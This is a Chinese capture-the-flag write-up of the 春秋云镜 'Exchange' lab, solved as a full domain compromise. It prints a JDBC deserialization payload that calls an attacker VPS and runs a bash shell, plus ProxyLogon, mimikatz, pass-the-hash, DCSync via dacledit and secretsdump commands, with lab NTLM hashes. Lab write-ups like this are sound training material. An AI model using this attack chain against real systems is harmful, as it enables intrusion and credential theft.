春秋云镜 Exchange

meraklbz / 2024-09-04 / 原文

使用fscan进行扫描
image

得到是一个Lumia ERP,开放了8000端口存在登录页面.
利用网上漏洞进行信息泄露得到账号密码
image

破解密码得到
image

后台登录发现没有写马的地方.
这里可以打一个JDBC(不懂java),去打cc6这条链子.
在本地去起一个恶意的Mysql服务器,配合ysoserial-all.jar去打JDBC.注意配置config.json

 python3 server.py 

然后将下面的payload进行url编码

{
	"name": {
		"@type": "java.lang.AutoCloseable",
		"@type": "com.mysql.jdbc.JDBC4Connection",
		"hostToConnectTo": "vpsIP地址",
		"portToConnectTo": 3306,
		"info": {
			"user": "yso_CommonsCollections6_bash -c {echo,base64编码后的命令}|{base64,-d}|{bash,-i}",
			"password": "pass",
			"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
			"autoDeserialize": "true",
			"NUM_HOSTS": "1"
		}
	}

发送给/user/list路由的search参数.
image

拿到的直接就是root shell.
image

flag:flag{f081abeb-d43e-4515-9e0a-db552df35f3e}
架个代理,传个fscan扫内网.

./fscan -h 172.22.3.12/16

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.3.12     is alive
(icmp) Target 172.22.3.9      is alive
(icmp) Target 172.22.3.2      is alive
(icmp) Target 172.22.3.26     is alive
(icmp) Target 172.22.255.253  is alive
[*] LiveTop 172.22.0.0/16    段存活数量为: 5
[*] LiveTop 172.22.3.0/24    段存活数量为: 4
[*] LiveTop 172.22.255.0/24  段存活数量为: 1
[*] Icmp alive hosts len is: 5
172.22.3.26:445 open
172.22.3.2:445 open
172.22.3.9:445 open
172.22.3.9:443 open
172.22.3.2:139 open
172.22.3.9:139 open
172.22.3.26:135 open
172.22.3.2:135 open
172.22.3.9:135 open
172.22.3.9:81 open
172.22.3.9:80 open
172.22.3.26:139 open
172.22.3.2:88 open
172.22.3.9:808 open
172.22.3.9:8172 open
[*] alive ports len is: 15
start vulscan
[*] NetInfo 
[*]172.22.3.2
   [->]XIAORANG-WIN16
   [->]172.22.3.2
[*] WebTitle http://172.22.3.9         code:403 len:0      title:None
[*] NetBios 172.22.3.26     XIAORANG\XIAORANG-PC          
[*] NetInfo 
[*]172.22.3.9
   [->]XIAORANG-EXC01
   [->]172.22.3.9
[*] OsInfo 172.22.3.2   (Windows Server 2016 Datacenter 14393)
[*] NetInfo 
[*]172.22.3.26
   [->]XIAORANG-PC
   [->]172.22.3.26
[*] NetBios 172.22.3.2      [+] DC:XIAORANG-WIN16.xiaorang.lab      Windows Server 2016 Datacenter 14393
[*] NetBios 172.22.3.9      XIAORANG-EXC01.xiaorang.lab         Windows Server 2016 Datacenter 14393
[*] WebTitle https://172.22.3.9        code:302 len:0      title:None 跳转url: https://172.22.3.9/owa/
[*] WebTitle http://172.22.3.9:81      code:403 len:1157   title:403 - 禁止访问: 访问被拒绝。
[*] WebTitle https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237  title:Outlook
[*] WebTitle https://172.22.3.9:8172   code:404 len:0      title:None
已完成 15/15
[*] 扫描结束,耗时: 17.908807953s

一共就是这四个机器

172.22.3.12     拿下
172.22.3.9      EXC01
172.22.3.2      DC
172.22.3.26     PC

直接访问扫出来的这个172.22.3.9链接https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0
image

是个exchange服务,直接打
使用proxylogon.py,能够直接获取system权限.注意,这B东西是python2

proxychains python2 proxylogon.py 172.22.3.9 administrator@xiaorang.lab

添加一个叫lbz的管理员用户

net user lbzlbz lbz12345! /add
net localgroup administrators lbzlbz /add

rdp上去,得到了第二个flag
image

flag:flag{e61710bf-31c8-4d4c-80d2-1cbea9e8f2ef}
传一个mimikatz去抓本机中的密码
得到了本机机器账户NTLM:ff4a457e2649f11a975bbd0f9d36c285
Zhangtong的NTLM:22c7f81993e96ac83ac2f3f1903de8b4
我们哈希横传上去拿个交互的shell

proxychains python3 psexec.py -hashes :ff4a457e2649f11a975bbd0f9d36c285 XIAORANG/XIAORANG-EXC01\$@172.22.3.9

传个Sharphound去看看.在system shell下去执行命令.

SharpHound.exe -c all

image

发现EXC01机器账户默认对域内成员具有writeDacl权限,允许修改对象的ACL.我们给Zhangtong修改个DCSync,就可以去抓域控的哈希.
使用dacledit.py去配置.

proxychains python3 dacledit.py xiaorang.lab/XIAORANG-EXC01\$ -hashes :ff4a457e2649f11a975bbd0f9d36c285 -action write -rights DCSync -principal Zhangtong -target-dn "DC=xiaorang,DC=lab" -dc-ip 172.22.3.2

image

proxychains python3 secretsdump.py xiaorang.lab/Zhangtong@172.22.3.2 -hashes :22c7f81993e96ac83ac2f3f1903de8b4 -just-dc-ntlm

image

得到了Administractor的NTLM为7acbc09a6c0efd81bfa7d5a1d4238beb
使用哈希横传进行登录.

proxychains python3 psexec.py -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb XIAORANG/Administrator@172.22.3.2

得到了第四个flag
image

flag:flag{575ca996-afcd-4d3a-b586-e6b3729696d6}
还有个172.22.3.26没动过
照着网上的wp去打邮件系统

proxychains python3 pthexchange.py --target https://172.22.3.9/ --username Lumia --password '00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296' --action Download

发现存在一个压缩包,里面是一个flag.docs文件,但是存在密码.
查看邮件内容发现flag就是电话号码.
image

写个python脚本来进行字符串的处理.

# 输入文件路径
input_file_path = '1.txt'
# 输出文件路径
output_file_path = 'output.txt'

# 读取文件内容并将每行存储在数组中
with open(input_file_path, 'r', encoding='utf-8') as file:
    lines = file.readlines()

# 存储匹配结果的数组
matched_strings = []

# 遍历每一行并提取最后一个逗号后面的字符串
for line in lines:
    line = line.strip()
    last_comma_index = line.rfind(',')
    if last_comma_index != -1:
        matched_strings.append(line[last_comma_index + 1:])

# 将匹配结果写入输出文件
with open(output_file_path, 'w', encoding='utf-8') as file:
    for string in matched_strings:
        file.write(string + '\n')

print("处理完成,结果已写入", output_file_path)

得到了output.txt,其中存储着用户的号码.
将压缩包的密码哈希写入文件中

zip2john item-0-secret.zip >zip.txt

使用john去破解

john --wordlist=1.txt zip.txt

得到了密码为18763918468
查看得到了flag
image

flag:flag{cf0c753c-233f-4729-8984-0746ea5878b7}

共用时3小时5分钟,其中大半卡在入口机进不去.没办法,确实缺乏java安全知识,外带工具不好用.后面的改ACL添加DCSync是从来没打过的.最后为什么去端邮件还是有点莫名所以.
image